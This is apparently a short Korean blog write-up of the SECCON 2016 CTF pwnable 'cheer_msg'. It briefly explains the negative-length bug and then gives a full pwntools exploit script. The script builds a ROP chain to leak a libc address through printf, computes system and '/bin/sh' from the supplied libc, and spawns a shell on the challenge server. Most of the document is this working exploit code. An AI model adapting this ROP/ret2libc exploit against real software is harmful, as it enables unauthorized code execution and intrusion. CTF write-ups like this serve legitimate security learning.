2016 seccon cheer_msg
by St1tchpwnablekr의 alloca랑 비슷한 문제였다.
값을 음수로 주게되면 입력buf의 주소를 조절할 수 있다.
rop로 printf("~~%s~~%s~~~", got, got) 호출해서 got를 릭한다음
libc주어졌으니 실제주소구하고
printf 호출 뒤 다시 main으로 트리거해서 system("/bin/sh") 호출되게했다.
from pwn import * local = False if local : s = process('./cheer_msg') print util.proc.pidof(s) pause() else : s = remote('cheermsg.pwn.seccon.jp', 30527) elf = ELF('cheer_msg') libc = ELF('libc') pop3ret = 0x80487ad def solver() : s.recvuntil('>>') s.sendline('-128') #input buf -> main ebp-12 s.recvuntil('>>') pay = 'a' * 16 pay += p32(elf.plt['printf']) + p32(pop3ret) pay += p32(0x804887D) + p32(elf.got['atoi']) * 2 pay += p32(0x80485CA) s.sendline(pay) #calculate addr leak = s.recvuntil('Message Length').split() atoi_addr = u32(leak[25]) offset = atoi_addr - libc.symbols['atoi'] system = offset + libc.symbols['system'] binsh = offset + list(libc.search('/bin/sh'))[0] #main trigger s.recvuntil('>>') s.sendline('-128') s.recvuntil('>>') pay = 'a' * 16 pay += p32(system) pay += 'aaaa' pay += p32(binsh) s.sendline(pay) s.interactive() if __name__ == '__main__' : solver()
블로그의 정보
튜기's blogg(st1tch)
St1tch